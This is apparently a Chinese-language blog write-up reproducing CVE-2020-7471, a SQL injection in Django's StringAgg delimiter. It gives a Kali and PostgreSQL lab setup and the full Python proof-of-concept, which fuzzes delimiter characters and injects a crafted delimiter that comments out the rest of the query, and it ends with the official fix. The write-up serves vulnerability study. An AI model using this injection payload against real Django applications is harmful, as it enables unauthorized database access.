天天看點

CVE-2020-7471漏洞複現

簡介

2020年2月3日,Django 官方釋出安全通告公布了一個通過StringAgg(分隔符)實作利用的潛在SQL注入漏洞(CVE-2020-7471)。攻擊者可通過構造分隔符傳遞給聚合函數contrib.postgres.aggregates.StringAgg,進而繞過轉義符号(\)并注入惡意SQL語句。

漏洞影響

受影響版本:

  • Django 1.11.x < 1.11.28
  • Django 2.2.x < 2.2.10
  • Django 3.0.x < 3.0.3

不受影響産品版本:

  • Django 1.11.28
  • Django 2.2.10
  • Django 3.0.3
前期準備

一台kali linux(2020-1,下方實驗會涉及postgresql的密碼修改,若修改密碼請進入自己的版本對應的目錄進行修改)

注:若兩台linux進行操作,需保證兩機可以互相ping通,同時可以通路網站

開始實驗
[email protected]:~$ sudo apt-get install python3-pip
[email protected]:~$ pip3 install django==3.0.2 -i https://pypi.mirrors.ustc.edu.cn/simple/
#因為kali-2020.1自帶postgresql
#小編在此就不示範postgresql的安裝了
#小編在此示範下忘記密碼的操作
[email protected]:~$ sudo vim /etc/postgresql/12/main/pg_hba.conf 
#做如下修改
           
CVE-2020-7471漏洞複現
[email protected]:~$ sudo service postgresql restart
[email protected]:~$ psql -U postgres -h 127.0.0.1
#此時是免密進入,進行密碼修改
           
CVE-2020-7471漏洞複現
[email protected]:~$ sudo vim /etc/postgresql/12/main/pg_hba.conf 
#更改配置檔案,關閉免密登陸
           
CVE-2020-7471漏洞複現
[email protected]:~$ sudo service postgresql restart
#重新開機postgresql
[email protected]:~$ psql -U postgres -h 127.0.0.1
#建立資料庫test
           
CVE-2020-7471漏洞複現
[email protected]:~$ git clone https://github.com/Saferman/CVE-2020-7471.git
[email protected]:~$ cd CVE-2020-7471/
[email protected]:~/CVE-2020-7471$ cd sqlvul_project/
[email protected]:~/CVE-2020-7471/sqlvul_project$ vi settings.py 
#修改setting中資料庫的相關配置
           
CVE-2020-7471漏洞複現
[email protected]:~/CVE-2020-7471/sqlvul_project$ cd ..
[email protected]:~/CVE-2020-7471$ python3 manage.py migrate
[email protected]:~/CVE-2020-7471$ python3 manage.py makemigrations vul_app
[email protected]:~/CVE-2020-7471$ python3 manage.py migrate vul_app
#将表結構遷移到資料庫中
[email protected]:~/CVE-2020-7471$ psql -U postgres -h 127.0.0.1
#登陸資料庫
           
CVE-2020-7471漏洞複現

檢視表vul_app_info中原不存在資料

CVE-2020-7471漏洞複現
[email protected]:~/CVE-2020-7471$ python3 CVE-2020-7471.py 
#運作poc
           
CVE-2020-7471漏洞複現

成功注入

CVE-2020-7471漏洞複現
POC解讀
# encoding:utf-8
import os
import django
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings")

# Django 版本大于等于1.7的時候,需要加上下面兩句
if django.VERSION >= (1, 7):#自動判斷版本
    django.setup()

from vul_app.models import Info
from django.contrib.postgres.aggregates import StringAgg
from django.db.models import Count

"""
postgres 預先執行的SQL
CREATE DATABASE test;
\c test;
\d 列出目前資料庫的所有表格
"""

def initdb():
    data = [('li','male'),('zhao','male'),('zhang','female')]
    for name,gender in data:
        Info.objects.get_or_create(name=name,gender=gender)

def query():
    # FUZZ delimiter
    error_c = []
    other_error_c = []
    for c in "[email protected]#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
        results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
        try:
            for e in results:
                pass
        except IndexError:
            error_c.append(c)
        except:
            other_error_c.append(c)
    print(error_c)
    print(other_error_c)

def query_with_evil():
    '''
    注入點證明
    分别設定delimiter為 單引号 二個單引号 二個雙引号
    嘗試注釋後面的内容 ')--
    :return:
    '''
    print("[+]正常的輸出:")
    payload = '-'
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
    for e in results:
        print(e)
    print("[+]注入後的的輸出:")
    payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
    for e in results:
        print(e)



if __name__ == '__main__':
    print(django.VERSION) # 測試版本 3.0.2
    initdb()
    query()
    query_with_evil()
           

payload通過調用StringAgg,但是整個POC的核心還是因為參數delimiter出現的轉義問題。

修複方案

官方對 delimiter 使用Value(str(delimiter))處理來防禦 django

檢視Value函數源碼,注釋寫的非常清楚,Vlue處理過的參數會被加到sql的參數清單裡,之後會被 django 内置的過濾機制過濾,進而防範 SQL 漏洞。

CVE-2020-7471漏洞複現

繼續閱讀